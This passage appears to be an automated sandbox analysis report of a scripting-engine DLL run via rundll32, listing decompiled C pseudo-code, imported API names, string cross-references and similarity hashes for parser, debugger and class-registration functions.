0x1003d10c
0x1003d0ec
0x1003d15e
0x1003d169
0x1003d177
0x00000000
0x00000000
0x00000000
0x00000000
0x1003ceed
0x1003cee0
0x1003ced7
0x1003cd3c
0x1003cd42
0x1003cd49
0x1003cd52
0x1003cd55
0x1003cd5e
0x1003cd82
0x1003cd82
0x1003cd87
0x1003cd95
0x1003cd60
0x1003cd69
0x1003cd71
0x1003cd7f
0x1003cd7f
0x1003cd5e
0x00000000

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(A412DE5E,4000003B,00000000,00000000), ref: 1003CD2A

Part of subcall function 10009E50: l?0ESContext@ScScript@@IAE@XZ.MAIN ref: 10009E70

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(-0000008C,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1003CD69
l?0LabelNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,00000000), ref: 1003CE3B

Part of subcall function 1003AAC0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,10064EE8,000000FF,?,1003DAEC,?,00000000,00000000,A412DE5E,?), ref: 1003AB3B
Part of subcall function 1003AAC0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,10064EE8,000000FF,?,1003DAEC,?,00000000,00000000,A412DE5E,?), ref: 1003ABAB

Strings

:, xrefs: 1003CE00

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Context@Core@@DataInfo@1@@Node@Pool@ScanString@Symbol@lget$LabelV12@lget@
String ID: :
API String ID: 2657227237-336475711
Opcode ID: 63150276840c2deaf2de63034e0cc172bb2e938d0096d862ae59d88ab14cf6f1
Instruction ID: 3d701098ab83113a3b523e9620ed393b4401ab2d590d4f4e1ed330a6720c369d
Opcode Fuzzy Hash: 63150276840c2deaf2de63034e0cc172bb2e938d0096d862ae59d88ab14cf6f1
Instruction Fuzzy Hash: 9DC11670A00604DFEB26EB65D881BAEB7E1FF41742F10802BE906DF2C1DB756A46DB51

Uniqueness

Uniqueness Score: -1.00%

Function 1000BAB0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 129COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,A412DE5E,00086E1C,?,?,?,1000E6FE,?), ref: 1000BAF0
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,A412DE5E,00086E1C,?,?,?,1000E6FE,?), ref: 1000BB0A

Strings

[arguments], xrefs: 1000BB83
%08lx %c %4d %4d %-10ls %-16ls %ls, xrefs: 1000BC04
[%ld], xrefs: 1000BB97
[global], xrefs: 1000BB53
[workspace], xrefs: 1000BB73
[proto], xrefs: 1000BB63

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: %08lx %c %4d %4d %-10ls %-16ls %ls$[%ld]$[arguments]$[global]$[proto]$[workspace]
API String ID: 1311809857-2814196117
Opcode ID: 6008a3ba0c44b259cc4e79abfdc099cf8b2abaed95787355c272bb656f315d86
Instruction ID: a0d1222fd9a8ff37559cdb576813ed8df8b721f53be10ddfbd646616d60badd2
Opcode Fuzzy Hash: 6008a3ba0c44b259cc4e79abfdc099cf8b2abaed95787355c272bb656f315d86
Instruction Fuzzy Hash: F1515D7180411ADFE718EF95CC94EFEBBB9FB56350F100119E512A3290DBB56A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100172E0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E100172E0(intOrPtr __ecx, intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t26;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t40;
				intOrPtr _t59;
				intOrPtr _t62;
				signed int _t64;
				void* _t65;
				void* _t73;

				_push(0xffffffff);
				_push(0x1005fe28);
				_push( *[fs:0x0]);
				_t26 =  *0x10094144; // 0xa412de5e
				_push(_t26 ^ _t64);
				 *[fs:0x0] =  &_v16;
				_v20 = _t65 - 0x18;
				_t59 = __ecx;
				_v28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xd0)) == 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x3c))))();
				}
				_v36 = _t59 + 0x88;
				_t62 =  *0x1006a3b4(_a4);
				_v24 = _t62;
				if(_t62 != 0) {
					L19:
					 *[fs:0x0] = _v16;
					return _t62;
				} else {
					_t32 = _a4;
					_v8 = 0;
					_t73 = _t32 - 0x6c697665;
					if(_t73 > 0) {
						if(_t32 != 0x70617273) {
							goto L19;
						}
						_t33 =  *0x1006a1d0(0xc);
						_v32 = _t33;
						_v8 = 3;
						if(_t33 == 0) {
							L16:
							_t62 = 0;
							L17:
							_v24 = _t62;
							_v8 = 0;
							if(_t62 != 0) {
								 *0x1006a3b8(_a4, _t62);
							}
							goto L19;
						}
						_t62 = E1002A840(_t33, _t59);
						goto L17;
					}
					if(_t73 == 0) {
						_t36 =  *0x1006a1d0(0xc);
						_v32 = _t36;
						_v8 = 4;
						if(_t36 == 0) {
							goto L16;
						}
						_t62 = E1002A690(_t36, _t59);
						goto L17;
					}
					if(_t32 == 0x64656267) {
						_t38 =  *0x1006a1d0(0x18);
						_v32 = _t38;
						_v8 = 1;
						if(_t38 == 0) {
							goto L16;
						}
						_t62 = E10025EE0(_t38, _t59);
						goto L17;
					}
					if(_t32 != 0x68696c75) {
						goto L19;
					}
					_t40 =  *0x1006a1d0(0xc);
					_v32 = _t40;
					_v8 = 2;
					if(_t40 == 0) {
						goto L16;
					}
					_t62 = E1002A080(_t40, _t59);
					goto L17;
				}
			}

0x100172e3
0x100172e5
0x100172f0
0x100172f7
0x100172fe
0x10017302
0x10017308
0x1001730b
0x1001730d
0x10017318
0x1001731f
0x1001731f
0x1001732b
0x10017334
0x10017336
0x1001733b
0x1001744d
0x10017452
0x10017460
0x10017341
0x10017341
0x10017344
0x10017347
0x1001734c
0x100173cd
0x00000000
0x00000000
0x100173d1
0x100173da
0x100173dd
0x100173e3
0x100173f1
0x100173f1
0x100173f3
0x100173f3
0x100173f6
0x100173fb
0x10017405
0x10017405
0x00000000
0x100173fb
0x100173ed
0x00000000
0x100173ed
0x1001734e
0x100173a8
0x100173b1
0x100173b4
0x100173ba
0x00000000
0x00000000
0x100173c4
0x00000000
0x100173c4
0x10017355
0x10017386
0x1001738f
0x10017392
0x10017398
0x00000000
0x00000000
0x100173a2
0x00000000
0x100173a2
0x1001735c
0x00000000
0x00000000
0x10017364
0x1001736d
0x10017370
0x10017376
0x00000000
0x00000000
0x10017380
0x00000000
0x10017380

APIs

l?0HiliteAPI@ScScript@@AAE@AAVEngine@1@@Z.MAIN ref: 1001737B
l?0DebugAPI@ScScript@@AAE@AAVEngine@1@@Z.MAIN ref: 1001739D

Strings

gbed, xrefs: 10017350
evil, xrefs: 10017347
srap, xrefs: 100173C8
ulih, xrefs: 10017357

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Engine@1@@Script@@$DebugHilite
String ID: evil$gbed$srap$ulih
API String ID: 902134511-2296759926
Opcode ID: fb6121c41a87cd7653604bd7a650aebe590fca940045934817468638d6ae7e7f
Instruction ID: 789d80fee96ac33b69d98c443937eec44e7ea0fc9e31bc12518909b2c525af57
Opcode Fuzzy Hash: fb6121c41a87cd7653604bd7a650aebe590fca940045934817468638d6ae7e7f
Instruction Fuzzy Hash: 6741E371D00156DFCF10DFA9D885B9EBBF4FB05290F10413AE91AEB240DA749F809B92

Uniqueness

Uniqueness Score: -1.00%

Function 100177B0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 489COMMON

Download Yara Rule

APIs

lget@DataPool@ScScript@@SAAAV12@XZ.MAIN(File), ref: 1001787D
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(File), ref: 10017884
lget@DataPool@ScScript@@SAAAV12@XZ.MAIN(Folder,00000000,00000000), ref: 100178F6
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Folder,00000000,00000000), ref: 100178FD

Strings

Folder, xrefs: 100178E3
File, xrefs: 10017875, 100178EA, 100178F5

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$V12@ladd@lget@
String ID: File$Folder
API String ID: 1003658950-1005199682
Opcode ID: ec67606de1233f90bcef420f79b71a85dd85f3f745387f7cf2c6b06f7f100943
Instruction ID: 222ecb15284e9961dce2277a16af0431004e3be140d21a88448d9cdbfc88338c
Opcode Fuzzy Hash: ec67606de1233f90bcef420f79b71a85dd85f3f745387f7cf2c6b06f7f100943
Instruction Fuzzy Hash: E002B135700615DFDB04EFA5D894BADB7B6FF89310F10812EE90A9B390DB74A984CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10014600 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 337
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E10014600(signed int __ecx, intOrPtr* _a4, signed int _a8) {
				char _v8;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				signed int _v24;
				char _v28;
				char _v36;
				intOrPtr _v44;
				signed int _v52;
				char _v60;
				char _v84;
				signed int _t149;
				void* _t160;
				intOrPtr _t166;
				void* _t168;
				intOrPtr _t172;
				signed int _t173;
				signed int _t183;
				signed int _t184;
				signed int _t198;
				void* _t210;
				signed int _t211;
				signed int _t249;
				void* _t280;
				intOrPtr* _t281;
				signed int _t282;
				void* _t285;
				signed int _t286;
				void* _t288;
				signed int _t289;
				intOrPtr* _t290;
				intOrPtr _t292;
				signed int _t293;
				void* _t294;
				void* _t295;

				_t295 = _t294 - 0x44;
				_t149 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_v24 = __ecx;
				_v17 = 0;
				_v18 = 0;
				_v19 = 0;
				 *0x1006a220(_t149 ^ _t293, _t280, _t285, _t210,  *[fs:0x0], 0x1005f988, 0xffffffff);
				_t281 = _a4;
				_t211 = _a8;
				_t286 = 0;
				_v8 = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *_t281 + 0x1c))))(_t211, 0,  &_v28);
				if( *0x1006a16c() <= 0) {
					L7:
					 *0x1006a230();
					_v8 = 1;
					_t282 =  *((intOrPtr*)( *((intOrPtr*)( *_t281 + 4))))(_t211, _t211, 0, 1, 0);
					if(_t282 == 0 || ( *(_t282 + 0xc) & 0x00000020) == 0) {
						L23:
						_a8 = 0x2000007;
						if(_t282 != 0) {
							L34:
							_a8 = 0x2000027;
							L35:
							if(_t211 < 0x20000087 || _t211 > 0x20000098) {
								if(_t211 == 0x83 || _t211 == E10003DE0("File") || _t211 == E10003DE0("Folder") || _t211 == E10003DE0("Socket")) {
									goto L41;
								} else {
									goto L42;
								}
							} else {
								L41:
								_a8 = _a8 | 0x08000000;
								L42:
								if(_v44 != 5 || _v52 == 0) {
									L53:
									_v8 = 0;
									 *0x1006a1c8();
									_v8 = 0xffffffff;
									_t160 =  *0x1006a218();
									 *[fs:0x0] = _v16;
									return _t160;
								} else {
									_t288 = 0;
									if( *0x1006a16c() <= 0) {
										L52:
										E1000E9A0(_t211,  &_v60, _a8);
										goto L53;
									}
									do {
										_t166 =  *((intOrPtr*)( *0x1006a178(_t288)));
										if(_v19 != 0 || ( *(_t166 + 0xc) & 0x00000010) != 0) {
											_t228 =  *((intOrPtr*)(_t166 + 4));
											if( *((intOrPtr*)(_t166 + 4)) != _t211) {
												_t168 = E1000E920(_a4, _t166, _t228);
												if((_a8 & 0x08000000) != 0) {
													 *(_t168 + 0x24) =  *(_t168 + 0x24) | 0x08000000;
												}
											}
										}
										_t288 = _t288 + 1;
									} while (_t288 <  *0x1006a16c());
									goto L52;
								}
							}
						}
						if(_v17 == 0 || _v18 != 0) {
							_t289 = _v24;
							_t172 = _a4;
							if(_t172 ==  *((intOrPtr*)(_t289 + 0x74))) {
								goto L53;
							}
							if(_t172 ==  *((intOrPtr*)(_t289 + 0x70))) {
								goto L53;
							}
							_t173 =  *0x1006a1d0(0x98);
							_a8 = _t173;
							_v8 = 5;
							if(_t173 == 0) {
								_t290 = 0;
							} else {
								_t290 = E1000A350(_t289, _t211);
							}
							_v8 = 1;
							 *((char*)(_t290 + 0x96)) = 1;
							 *0x1006a43c(_t290);
							_t117 = _t290 + 0x22;
							 *_t117 =  *(_t290 + 0x22) - 1;
							if( *_t117 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t290 + 0x14))))();
							}
							goto L34;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0xd4))))( &_v60, _t211, _t282, _t282);
							_push(0xfffffffe);
							 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0x38))))();
							_v19 = 1;
							goto L35;
						}
					} else {
						if( *((intOrPtr*)(_t282 + 0x10)) == 0) {
							_v17 = 1;
							_v18 = 0;
							_t282 = 0;
							goto L23;
						}
						_t183 =  *0x1006a1d0(0xb0);
						_t295 = _t295 + 4;
						_a8 = _t183;
						_v8 = 2;
						if(_t183 == 0) {
							_t184 = 0;
						} else {
							_t184 = E10008670(_v24, _a4, _t282, _t211);
						}
						_v8 = 1;
						 *0x1006a174(_t184);
						_t249 = (0 | _v44 != 0x00000005) - 0x00000001 & _v52;
						_t39 = _t249 + 0x22;
						 *_t39 =  *((intOrPtr*)(_t249 + 0x22)) - 1;
						if( *_t39 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t249 + 0x14))))();
						}
						 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0x98))))();
						_t292 = E10012E30(_v24, (0 | _v44 != 0x00000005) - 0x00000001 & _v52);
						 *0x1006a32c(0x71, 0x40);
						_v8 = 3;
						E10009FE0(_t292);
						_push(0);
						_push( &_v84);
						_push( &_v36);
						_push(_t292);
						_v8 = 4;
						 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0xa0))))();
						_t198 = _t211 - 0x2000008c;
						if(_t198 > 5) {
							L21:
							_v8 = 3;
							 *0x1006a1c8();
							_v8 = 1;
							 *0x1006a31c();
							goto L23;
						} else {
							switch( *((intOrPtr*)(_t198 * 4 +  &M10014A18))) {
								case 0:
									__ecx = _v24;
									 *((intOrPtr*)(_v24 + 0xdc)) = __esi;
									goto L21;
								case 1:
									__eax = 0;
									__eflags = _v44 - __ecx;
									__eax = 0 | _v44 != __ecx;
									 *((intOrPtr*)(_v24 + 0xd8)) = __esi;
									_t80 = __eax - 1; // -1
									__ecx = _t80;
									__ecx = _t80 & _v52;
									__eax = E1000C330(_t80 & _v52, __esi);
									__ecx = _v24;
									__ecx =  *(_v24 + 0xd4);
									__eax = E1000C330( *(_v24 + 0xd4), __esi);
									goto L21;
								case 2:
									goto L21;
								case 3:
									_t264 = _v24;
									 *((intOrPtr*)(_t264 + 0xf4)) = _t292;
									 *(_t264 + 0xd4) = (0 | _v44 != 0x00000005) - 0x00000001 & _v52;
									goto L21;
								case 4:
									__eax = 0;
									__eflags = _v44 - __ecx;
									0 | __eflags != 0x00000000 = (__eflags != 0) - 1;
									__eax = (__eflags != 0x00000000) - 0x00000001 & _v52;
									__eflags = __eax;
									 *(_v24 + 0xf8) = __eax;
									goto L21;
							}
						}
					}
				}
				while(_v17 == 0 && _v18 == 0) {
					_push(_t286);
					if(( *( *((intOrPtr*)( *0x1006a178())) + 0xc) & 0x00000010) == 0) {
						_v18 = 1;
					} else {
						_v17 = 1;
					}
					_t286 = _t286 + 1;
					if(_t286 <  *0x1006a16c()) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x10014611
0x10014617
0x10014622
0x10014628
0x1001462e
0x10014632
0x10014636
0x1001463a
0x10014640
0x10014645
0x1001464f
0x10014655
0x10014658
0x10014665
0x1001469d
0x100146a0
0x100146b5
0x100146bb
0x100146bf
0x10014846
0x10014846
0x1001484f
0x100148f4
0x100148f4
0x100148fb
0x10014901
0x10014911
0x00000000
0x00000000
0x00000000
0x00000000
0x1001494f
0x1001494f
0x1001494f
0x10014956
0x1001495a
0x100149e6
0x100149e9
0x100149ed
0x100149f6
0x100149fd
0x10014a06
0x10014a14
0x10014969
0x1001496c
0x10014976
0x100149cf
0x100149e1
0x00000000
0x100149e1
0x10014980
0x1001498e
0x10014990
0x10014998
0x1001499d
0x100149a7
0x100149b3
0x100149be
0x100149be
0x100149b3
0x1001499d
0x100149c4
0x100149cb
0x00000000
0x10014980
0x1001495a
0x10014901
0x10014859
0x10014891
0x10014894
0x1001489a
0x00000000
0x00000000
0x100148a3
0x00000000
0x00000000
0x100148ae
0x100148b7
0x100148ba
0x100148c0
0x100148cf
0x100148c2
0x100148cb
0x100148cb
0x100148d5
0x100148d9
0x100148e0
0x100148e6
0x100148e6
0x100148e9
0x100148f2
0x100148f2
0x00000000
0x10014861
0x10014873
0x1001487b
0x10014889
0x1001488b
0x00000000
0x1001488b
0x100146cf
0x100146d3
0x1001483c
0x10014840
0x10014844
0x00000000
0x10014844
0x100146de
0x100146e4
0x100146e7
0x100146ea
0x100146f0
0x10014705
0x100146f2
0x100146fe
0x100146fe
0x1001470b
0x1001470f
0x10014723
0x10014726
0x10014726
0x10014729
0x10014730
0x10014730
0x1001474a
0x10014764
0x10014766
0x10014770
0x10014774
0x1001477f
0x10014787
0x1001478b
0x1001478c
0x1001478d
0x1001479d
0x1001479f
0x100147ac
0x10014820
0x10014823
0x10014827
0x10014830
0x10014834
0x00000000
0x100147ae
0x100147ae
0x00000000
0x100147d2
0x100147d5
0x00000000
0x00000000
0x100147e0
0x100147e2
0x100147e6
0x100147e9
0x100147ef
0x100147ef
0x100147f2
0x100147f5
0x100147fa
0x100147fd
0x10014804
0x00000000
0x00000000
0x00000000
0x00000000
0x100147ba
0x100147c0
0x100147ca
0x00000000
0x00000000
0x1001480e
0x10014810
0x10014816
0x10014817
0x10014817
0x1001481a
0x00000000
0x00000000
0x100147ae
0x100147ac
0x100146bf
0x10014667
0x10014673
0x10014683
0x1001468b
0x10014685
0x10014685
0x10014685
0x10014692
0x1001469b
0x00000000
0x00000000
0x00000000
0x1001469b
0x00000000

APIs

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(File), ref: 1001491E
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Folder), ref: 10014932
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Socket), ref: 10014946

Strings

Folder, xrefs: 1001492D
File, xrefs: 10014919
', xrefs: 100148F4
Socket, xrefs: 10014941

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID: '$File$Folder$Socket
API String ID: 1005944317-329631084
Opcode ID: 2f72e919026ae78cc8315d7485172092a16182265cb2a11fdaa7550b390a5c70
Instruction ID: 0c8632b83d5abe11d16e3f072ca91a855af7ded8610eacaface6b202d9fa70cd
Opcode Fuzzy Hash: 2f72e919026ae78cc8315d7485172092a16182265cb2a11fdaa7550b390a5c70
Instruction Fuzzy Hash: 7DD1F370904259DFEB04DBA4C884FEEBBF5FF45344F168059E406AB2A1DB74AA80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10029480 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(00000000,?,?,00000000,10062CD9,000000FF,?,10029B11,?,?), ref: 100294BE
lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z.MAIN(?,00000000,7FFFFFFF,?,?,?,?,?,?,10062CD9,000000FF), ref: 100295AF

Strings

@flags, xrefs: 10029544
frameinfo, xrefs: 10029660
break, xrefs: 100294DB
%ld, xrefs: 10029535
stack, xrefs: 100295F0

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DebugScript@@$ContextCore@@Level@StackString@Trace@lgetlset
String ID: %ld$@flags$break$frameinfo$stack
API String ID: 3301846685-1247132746
Opcode ID: 603d70b1972694150609e96e39cf7b72d337cc2d013bd39456b5463a225f1507
Instruction ID: be5de9035b967368b87a119037f5532f524f293ff223efabcf78e4c5ad8d3279
Opcode Fuzzy Hash: 603d70b1972694150609e96e39cf7b72d337cc2d013bd39456b5463a225f1507
Instruction Fuzzy Hash: 9B91B271A00219DFDB00DFA8CC84BEEBBF5EF49310F104259E916A7290DBB46A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1003C0D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1003C0D0(void* __ecx, void* __edx) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _t39;
				intOrPtr _t46;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t55;
				intOrPtr _t60;
				void* _t62;
				intOrPtr* _t64;
				void* _t70;
				void* _t71;
				void* _t91;
				intOrPtr* _t95;
				void* _t96;
				void* _t97;
				void* _t103;
				signed int _t109;
				void* _t119;

				_t91 = __edx;
				_push(0xffffffff);
				_push(0x10065253);
				_push( *[fs:0x0]);
				_t39 =  *0x10094144; // 0xa412de5e
				_push(_t39 ^ _t109);
				_t1 =  &_v16; // -16
				 *[fs:0x0] = _t1;
				_t103 = __ecx;
				E1003A9F0(__ecx, 0);
				_t95 = _t103 + 0x8c;
				_v24 = _t95;
				_t70 = _t103;
				if( *((intOrPtr*)(_t103 + 0x8c)) == 0x9b) {
					E1003A9F0(_t70, 0);
					_t71 = _t103;
					if( *_t95 == 0x9a) {
						E1003A9F0(_t71, 0);
						_t71 = _t103;
						if( *_t95 == 0x2d) {
							E1003A9F0(_t71, 0);
							_t64 =  *0x1006a1d0; // 0x87144
							_t46 =  *_t64(0x20);
							_v20 = _t46;
							_v8 = 0;
							if(_t46 == 0) {
								_v20 = 0;
							} else {
								_v20 = E10037280(_t95);
							}
							 *((intOrPtr*)(_v20 + 0x1c)) = 2;
							_v8 = 0xffffffff;
							_t48 = E10003DE0("setDefaultXMLNamespace");
							 *((intOrPtr*)(_v20 + 8)) = _t48;
							_t49 =  *_t64(0x28);
							_v28 = _t49;
							_v8 = 1;
							if(_t49 == 0) {
								_t96 = 0;
							} else {
								_t96 = E10038140(_t95);
							}
							_v8 = 0xffffffff;
							 *((intOrPtr*)(_t96 + 0x1c)) = 7;
							 *0x1006a22c(E1003E550(_t103, _t91, _t119, 0, 0));
							_t52 =  *_t64(0x28);
							_v28 = _t52;
							_v8 = 2;
							if(_t52 == 0) {
								_t97 = 0;
							} else {
								_t97 = E10037FD0(_t52, _v24, _v20, _t96);
							}
							_v8 = 0xffffffff;
							 *((intOrPtr*)(_t97 + 0x1c)) = 2;
							_t53 =  *_t64(0x24);
							_v28 = _t53;
							_v8 = 3;
							if(_t53 == 0) {
								 *0x0000001C = 1;
								 *0x00000008 = 0x68;
								 *[fs:0x0] = _v16;
								return 0;
							} else {
								_t55 = E10037F30(_t53, _v24, _t97);
								 *((intOrPtr*)(_t55 + 0x1c)) = 1;
								 *((intOrPtr*)(_t55 + 8)) = 0x68;
								 *[fs:0x0] = _v16;
								return _t55;
							}
						} else {
							_push(0x2d);
							goto L2;
						}
					} else {
						_push(0x9a);
						goto L2;
					}
				} else {
					_push(0x9b);
					L2:
					E1003AAC0(_t71, _t91);
					_t60 =  *0x1006a1d0(0x20, 0x19);
					_v28 = _t60;
					_v8 = 4;
					if(_t60 == 0) {
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t62 = E10037280(_t95);
						 *[fs:0x0] = _v16;
						return _t62;
					}
				}
			}

0x1003c0d0
0x1003c0d3
0x1003c0d5
0x1003c0e0
0x1003c0e7
0x1003c0ee
0x1003c0ef
0x1003c0f2
0x1003c0f8
0x1003c0fc
0x1003c10b
0x1003c111
0x1003c114
0x1003c116
0x1003c15d
0x1003c168
0x1003c16a
0x1003c175
0x1003c17d
0x1003c17f
0x1003c187
0x1003c18c
0x1003c194
0x1003c199
0x1003c19e
0x1003c1a3
0x1003c1b2
0x1003c1a5
0x1003c1ad
0x1003c1ad
0x1003c1b8
0x1003c1ca
0x1003c1d1
0x1003c1db
0x1003c1de
0x1003c1e3
0x1003c1e6
0x1003c1ef
0x1003c1fd
0x1003c1f1
0x1003c1f9
0x1003c1f9
0x1003c205
0x1003c20c
0x1003c21c
0x1003c224
0x1003c229
0x1003c231
0x1003c236
0x1003c24c
0x1003c238
0x1003c248
0x1003c248
0x1003c250
0x1003c257
0x1003c25a
0x1003c25f
0x1003c262
0x1003c26b
0x1003c29b
0x1003c2a2
0x1003c2ac
0x1003c2ba
0x1003c26d
0x1003c274
0x1003c279
0x1003c280
0x1003c28a
0x1003c298
0x1003c298
0x1003c181
0x1003c181
0x00000000
0x1003c181
0x1003c16c
0x1003c16c
0x00000000
0x1003c16c
0x1003c118
0x1003c118
0x1003c11d
0x1003c11f
0x1003c126
0x1003c12f
0x1003c132
0x1003c13b
0x1003c2c0
0x1003c2ce
0x1003c141
0x1003c144
0x1003c14c
0x1003c15a
0x1003c15a
0x1003c13b

APIs

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C144
